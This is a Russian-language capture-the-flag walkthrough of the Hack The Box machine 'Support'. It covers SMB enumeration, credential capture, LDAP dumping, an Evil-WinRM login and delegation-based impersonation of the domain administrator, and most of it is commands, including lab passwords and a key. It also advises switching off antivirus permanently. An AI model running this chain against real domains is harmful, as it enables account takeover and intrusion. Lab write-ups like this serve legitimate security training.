Введение
Наверное каждый уважающий себя специалист по информационной безопасности знает, а может и проходил такие испытания как CTF. Это своеобразный мозговой штурм, который заставляет использовать изощренные методы взлома систем или серверов. Их основная задача оттачивать определенные навыки в поиске и эксплуатации отдельного типа уязвимостей. Площадок для тренировок огромное множество и в этой статье я решил остановиться на платформе Hack The Box. Так как мои навыки в этом деле очень малы я решил взять одну из легких машин с названием Support. И сегодня я расскажу тебе как ее пройти.
Подготовка к работе
Перед началом тебе следует ознакомиться с тем, как вообще проходить такие CTF. Прежде всего следует начать со сканирования. Конечно, я пропускаю момент подключения к самой лаборатории при помощи openvpn, но думаю с этим ты разберешься сам. Далее идет анализ портов и поиск уязвимых из них. Не переживай, на каждую дыру есть свой эксплоит, поэтому проводить все вручную тебе не придется. Здесь также важно помнить, что по мимо взлома ты чаще всего должен уметь повышать привилегии в системе. Для этого всего мы будем использовать отдельный софт.Здесь я коротко описал то, как будет строится наша дальнейшая работа. Приступаем к делу!
Сканирование и анализ
Всю работу я провожу на виртуальной машине Kali Linux, поэтому все команды демонстрируются под нее. Ну а первым делом мы открываем консоль и сканируем машину при помощи любимого nmap.
Bash:
sudo nmap -sS -sV -Pn 10.10.11.174
Первый флаг покажет нам сервис, который стоит на просканированном порту и даст дополнительную информацию о машине, следующий определяет тип сканирования. Я же выбрал SYN. Ну а последний флаг позволяет обойти пинг и без проблем получить результаты сканирования. Кстати о них, рассмотрим полученную информацию и разберемся с тем, что нам нужно.
Код:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-25 06:40 MSK
Nmap scan report for dc.support.htb (10.10.11.174)
Host is up (0.11s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-09-25 03:41:14Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:window
Здесь стоит обратить внимание на порт 389 и его описание. Как ты видишь там установлен Active Directory LDAP и в скобках указано доменное имя. Давай проверим его используя утилиту dig (domain information groper). Делается это при помощи команды:
Bash:
dig @10.10.11.174 +short support.htb any 10.10.11.174
В консоли ты должен увидеть примерно такой результат:
Bash:
10.10.11.174
dc.support.htb.
dc.support.htb. hostmaster.support.htb. 105 900 600 86400 3600
Отлично, мы знаем доменное имя нашей машины. Чтобы не получать ошибки в дальнейшем давай внесем эту информацию в файл hosts по пути /etc/hosts. Открываем файл при помощи nano и указываем в нем такие строки:
Bash:
# HTB
10.10.11.174 dc.support.htb support.htb
Итак, мы нашли подозрительный порт и доменные имена нашей жертвы. Теперь ты можешь провести первоначальное подключение.
Подключение и поиск
Чтобы провернуть такую махинацию я буду использовать сетевой протокол SMB. Он позволяет приложениям компьютера читать и записывать файлы, а также запрашивать службы серверных программ в компьютерной сети. Поэтому для нашей работы он более чем подходит. Активируем все это дело командой:
Bash:
smbclient -N -L \\\\10.10.11.174
В результате этих действий ты должен увидеть такую картину:
Выглядит все многообещающи. Но я остановлюсь на папке support-tools и попробую поискать в ней интересные файлы. Делаем это при помощи запроса:
Bash:
smbclient -N \\\\10.10.11.174\\support-tools
Отлично! Мы подключились. Осталось проверить, какие файлы у нас есть на анализ. Используем самую простую команду dir:
Среди тонны ничем не примечательных программ я обратил внимание на файл UserInfo.exe.zip. Довольно странное расширение для такого архива. Ну а название говорит само за себя. Очевидно файл скрывает нужную нам информацию и чтобы до нее добраться давай скачаем все содержимое при помощи команд.
Код:
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
Все скачалось и теперь можно проанализировать полученный файл. Я буду это делать при помощи известного dnSpy. Ты же можешь использовать любой удобный для тебя декомпилятор. Открываем файл и видим следующую картину:
Пошаримся немного по программе и перейдем к делу. Если ты не нашел нужную информацию, то советую заглянуть в UserInfo.Services и найти там ветку Protected. Здесь ты найдешь зашифрованный пароль. Теперь надо понять откуда у нас берется информация о пользователях. Для этого прогоним нашу программу через mono:
Код:
mono UserInfo.exe
Перед этим тебе следует поместить в отдельную папку все содержимое архива. Отдельно анализировать PE-файл у тебя не получится. По завершении работы программа выдаст такой результат:
Похоже наш файл обращается к серверу, чтобы найти пользователя и узнать о нем более подробную информацию. Воспользуемся этим. Конечно, здесь есть два варианта событий. Либо перехватывать трафик и вынимать из него пароль или же дизассемблировать и пересобирать программу, чтобы узнать алгоритм шифрования. Я воспользуюсь самым простым способом, но если твои навыки реверса выше среднего, то ты можешь попытаться найти ответы в коде программы.
Чтобы все сработало тебе потребуется начинать перехват сразу же после запуска. Адаптер, который тебе нужен называется tun0. Запускаем программу при помощи команды:
Bash:
mono UserInfo.exe -v find -first seawolf
Теперь тут же начинаем перехват нашего трафика и останавливаем его после завершения работы программы. В результате ты увидишь такую информацию.
Кликаем правой кнопкой мыши по выделенному пакету, выбираем функцию Следовать и переходим на протокол TCP. Прекрасно! У нас на руках есть логин и пароль для подключения (ldpa:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz).
После этого давай попробуем найти всю информацию о пользователях и соответственно сдампим ее при помощи утилит ldpasearch и ldpadomaindump. Выполняем команды по такому шаблону:
Bash:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=SUPPORT,DC=HTB"
Следовательно наш запрос к машине будет выглядеть таким образом:
Bash:
ldapsearch -x -H ldap://dc.support.htb -D 'SUPPORT\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "CN=Users,DC=SUPPORT,DC=HTB"
И далее сразу же выполняем наш дамп с использованием тех же данных:
Bash:
ldapdomaindump -u 'support\ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' dc.support.htb
После этого давай проанализируем полученные файлы. Тебе нужно искать пользователя support, он имеет больше всего разрешений, если у тебя это не получилось, то я дам тебе подсказку. Тебе следует копаться в файле domain_users.json.
Обычно строка info остается пустой в этом файле, но здесь есть какая-то информация, похожая на пароль. Давай попробуем подключиться используя эту строку как данные для входа. Я буду использовать Evil-WinRM, установим его при помощи команд и попробуем провести соединение:
Bash:
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
./evil-winrm.rb -i dc.support.htb -u support -p "Ironside47pleasure40Watchful"
Есть! Пароль подошел и мы вошли в систему. Что дальше? А дальше нас ожидает первый и последний флаг. Да, я помогу найти тебе пользовательский чекпоинт, но на уровне администратора это придется искать самому. А вот как выглядит наше подключение:
Переходим по пути C:\Users\support и поищем интересные каталоги. Итак, перед тобой будет такая картина:
Начнем с самого первой папки и посмотрим, что там хранится. На удивление на рабочем столе у нас лежит один текстовый документ, давай скачаем его:
Ты уже мог догадаться, что в этом файле у нас лежит флаг. Не буду задерживать, потому что ты знаешь, что с этим делать. Ну а мы переходим к этапу повышения наших привилегий в системе.
Повышаем привилегии в системе
Здесь я не буду рассказывать путь к уязвимости, а лишь скажу, что она связана с привилегиями пользователя Support (GenericAll), которые помогут нам повысить привилегии до уровня системного администратора. Для атаки мы будем использовать три утилиты: impacket, Powermad, Rubeus и SharpHound.Создадим папку tools и поместим туда эти программы. Теперь нам надо создать фейковый аккаунт, для нашей работы. Так как мы работает в среде Windows, то нам придется использовать PE-файлы. Поэтому соберем проект Rubeus при помощи Visual Studio. Для этого воспользуемся функцией клонирования репозитория.
Далее тебе вылезет надоедливое уведомление о том, что версии NET Framework несовместимы. Выбери рекомендуемое системой решение. Далее открываем файл и нажимаем на основной C# файл правой кнопкой мыши. В выпадающем окне выбираем функцию Собрать.
Ждем несколько минут, получаем кучу ошибок и понимаем, что наш любимый антивирус видит угрозу там, где ее нет. Отключаем его раз и навсегда и пробуем собрать все по новой. Отлично! Программа готова для работы.
Перекидываем ее в нашу виртуальную машину и помещаем в папку tools. Теперь переходим к созданию аккаунта. Надеюсь ты не потерял сессию Evil-WinRM, поскольку нам она пригодится для работы. Приступаем к работе, но для этого нам нужно сначала выгрузить все программы на удаленную машину:
Bash:
upload /home/user/tools/Powermad/Powermad.ps1 pm.ps1
upload /home/user/tools/Rubeus.exe r.exe
upload /home/user/tools/SharpHound.exe sh.exe
Далее импортируем модуль PowerMad, а также задаем параметры консоли:
Bash:
./sh.exe --memcache -c all -d SUPPORT.HTB -DomainController 127.0.0.1
Import-Module ./pm.ps1
Продолжаем наш путь и создаем профиль, при помощи команд:
Bash:
Set-Variable -Name "FakePC" -Value "FAKE00"
Set-Variable -Name "targetComputer" -Value "DC"
New-MachineAccount -MachineAccount (Get-Variable -Name "FakePC").Value -Password $(ConvertTo-SecureString 'qwerty' -AsPlainText -Force) -Verbose
Далее выдаем привилегии нашему аккаунту и проверяем их наличия, чтобы убедиться в работоспособности софта:
Bash:
xxxxxxxxxx Set-ADComputer (Get-Variable -Name "targetComputer").Value -PrincipalsAllowedToDelegateToAccount ((Get-Variable -Name "FakePC").Value + '$')Get-ADComputer (Get-Variable -Name "targetComputer").Value -Properties PrincipalsAllowedToDelegateToAccount
Далее создаем хэши нашего аккаунта, для дальнейшей работы. В этом нам поможет Rubeus, поэтому давай воспользуемся им при помощи команды:
Bash:
./r.exe hash /password:qwerty /user:FAKE00$ /domain:support.htb
Оригинальность в моих паролях удивляет многих. Но мы создали профиль для повышения до уровня администратора, поэтому защищать ее при помощи надежного пароля не стоит. Из хэшей ты должен записать aes256_cts_hmac_sha1. В моей консоли он выглядит так: 423A1F7C254BB2D13EA1F8F2E1A1AB171CDC541CBAD679E2078E5EE9959F6BA6.
Теперь ты можешь закрыть соединение с машиной и приступить к повышению привилегий. Для этого воспользуемся impacket и будем выдавать себя за админа. Организуем все это при помощи такой команды:
Bash:
cd /home/user/tools/impacket/examples/
sudo python3 getST.py support.htb/FAKE00 -dc-ip dc.support.htb -impersonate administrator -spn http/dc.support.htb -aesKey 423A1F7C254BB2D13EA1F8F2E1A1AB171CDC541CBAD679E2078E5EE9959F6BA6
Далее экспортируем кэш и становимся администратором:
Bash:
export KRB5CCNAME=administrator.ccache
sudo python3 smbexec.py support.htb/administrator@dc.support.htb -no-pass -k
Поздравляю с повышением! Осталось найти последний флаг и можно считать машину пройденной. Но эту часть я оставляю тебе, думаю это не составит проблемы. Также, если ты получаешь ошибки, то рекомендую выполнять команды от имени администратора. В другом случай не забывай создавать голосование на сброс машины, часто это является основной проблемой всех бед.